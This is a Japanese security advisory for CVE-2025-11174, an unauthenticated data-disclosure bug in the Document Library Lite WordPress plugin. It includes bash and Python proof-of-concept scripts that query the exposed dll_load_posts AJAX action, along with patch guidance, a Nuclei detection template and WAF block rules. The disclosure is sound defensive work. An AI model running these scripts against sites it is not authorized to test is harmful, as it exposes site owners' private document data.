
Document Library Lite <= 1.1.6 - 認可の欠如による機密情報の漏えい | CVE-2025-11174
キーワード: CVE-2025-11174, Document Library Lite 脆弱性, 情報漏洩, WordPress セキュリティ, 認証なし AJAX エクスプロイト, WordPress プラグイン脆弱性, CWE-862, WordPress ドキュメントプラグインセキュリティ, 認証バイパス, WordPress CVE 2025
Document Library Lite WordPress プラグイン情報漏洩脆弱性 (CVE-2025-11174) - WordPress 文書ライブラリプラグインにおいて、認証なしで機密文書データにアクセスできるセキュリティ上の欠陥です。
Document Library Lite WordPress プラグインに重大な認証バイパス脆弱性が発見され、認証を受けていない攻撃者が適切な認証なしに機密文書情報にアクセスできることが判明しました。
発見者: Kai Aizen & Avraham Shemesh (SnailSploit)
公開日: 2025年11月1日
CVSS スコア: 5.3 (Medium)
CWE: CWE-862 - 認証の欠如
プラグイン: Document Library Lite
ベンダー: Barn2 Plugins
攻撃タイプ: 認証なし情報漏洩
必要な権限: なし (未認証攻撃)
WordPress 用 Document Library Lite プラグインは、バージョン 1.1.6 までのすべてのバージョンにおいて、不適切な認可の脆弱性を含んでいます。このプラグインは、nonce や権限チェックを行わずに文書データの JSON テーブルを返す、認証なしの AJAX アクション dll_load_posts を公開しています。
この脆弱性により、認証されていない攻撃者は次のことが可能になります:
注意: CVSS スコア 5.3 (Medium) は限定的な情報漏洩を反映しています。この脆弱性により文書データへの認証なしアクセスが可能になりますが、機密性への影響は Low と評価され、完全性や可用性への影響はありません。
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVSS v3.1 内訳:
AJAX アクション dll_load_posts は、適切な認証や認可チェックなしで登録されています:
// 脆弱なコードパターン(簡略化)
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');
wp_ajax_nopriv_ プレフィックスは、このアクションが認証されていないユーザーにもアクセス可能であることを示しており、コールバック関数では次の処理が実装されていません:
POST /wp-admin/admin-ajax.php
action=dll_load_posts
この脆弱性は、認証なしで WordPress の admin-ajax.php エンドポイントを通じて悪用可能です。
⚠️ 教育および許可されたテスト目的のみ
#!/bin/bash
# CVE-2025-11174 PoC
TARGET_URL="$1"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com"
exit 1
fi
echo "[*] CVE-2025-11174 - Document Library Lite Information Disclosure PoC"
echo "[*] Target: $TARGET_URL"
echo ""
# Send request to vulnerable AJAX endpoint
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=dll_load_posts" \
| python3 -m json.tool
echo ""
echo "[+] If you see document data above, the site is vulnerable!"
#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite Information Disclosure PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
def exploit(target_url):
ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
print(f"[*] Target: {target_url}")
print(f"[*] AJAX Endpoint: {ajax_url}\n")
data = {'action': 'dll_load_posts'}
try:
response = requests.post(ajax_url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Request successful!\n")
try:
json_data = response.json()
print("[+] Retrieved document data:")
print(json.dumps(json_data, indent=2))
print("\n[!] Site is VULNERABLE to CVE-2025-11174")
except json.JSONDecodeError:
print("[-] No JSON response received")
print(f"Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} https://example.com")
sys.exit(1)
target = sys.argv[1]
exploit(target)
直ちに必要な措置:
admin-ajax.php への action=dll_load_posts を含む不審な POST リクエストを確認するWordPress 管理画面から:
WP-CLI を使用:
wp plugin update document-library-lite
すべての AJAX ハンドラに適切なセキュリティ制御を実装してください:
// 適切な AJAX セキュリティの例
add_action('wp_ajax_dll_load_posts', 'dll_load_posts_callback');
function dll_load_posts_callback() {
// Nonce を検証
if (!wp_verify_nonce($_POST['nonce'], 'dll_nonce')) {
wp_die('Invalid nonce');
}
// 権限をチェック
if (!current_user_can('read')) {
wp_send_json_error('Insufficient permissions');
wp_die();
}
// ここに安全なコードを記述
}
# 脆弱なバージョンがインストールされているか確認
wp plugin list | grep -i "document-library-lite"
Nuclei テンプレート:
id: CVE-2025-11174
info:
name: Document Library Lite - Unauthenticated Information Disclosure
author: security-research
severity: medium
description: Document Library Lite plugin for WordPress is vulnerable to information disclosure
reference:
- https://github.com/[your-repo]/CVE-2025-11174
tags: cve,cve2025,wordpress,wp-plugin,unauth
requests:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php"
body: "action=dll_load_posts"
matchers-condition: and
matchers:
- type: word
words:
- "data"
- "recordsTotal"
condition: and
- type: status
status:
- 200
ModSecurity ルール:
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" \
"chain,id:1000001,phase:2,t:none,t:urlDecodeUni,t:normalizePathWin,\
log,deny,status:403,msg:'CVE-2025-11174 Exploit Attempt'"
SecRule ARGS:action "@streq dll_load_posts" "t:none"
Nginx/OpenResty ルール:
if ($request_uri ~* "admin-ajax\.php") {
if ($args ~* "action=dll_load_posts") {
return 403;
}
}
研究者:
開示プロセス: 協調的な開示
この情報は、セキュリティ研究および防御目的でのみ提供されます。この脆弱性を悪意のある目的で悪用することは違法かつ非倫理的です。所有していないシステムをテストする前に、必ず適切な許可を取得してください。
この脆弱性に関する質問や追加情報については:
最終更新日: 2025年11月2日
このプロジェクトの完全な書き起こし、方法論、および関連する研究は以下にあります:
https://snailsploit.com/security-research/cves/cve-2025-11174/
作成者: Kai Aizen — 独立した攻撃的セキュリティ研究者。
snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Same attack. Different substrate.
| メトリクス | 値 |
|---|
| 攻撃元区分 | ネットワーク (AV:N) |
| 攻撃条件の複雑さ | 低 (AC:L) |
| 必要な特権レベル | 不要 (PR:N) |
| ユーザー関与レベル | 不要 (UI:N) |
| スコープ | 変更なし (S:U) |
| 機密性への影響 | 低 (C:L) |
| 完全性への影響 | なし (I:N) |
| 可用性への影響 | なし (A:N) |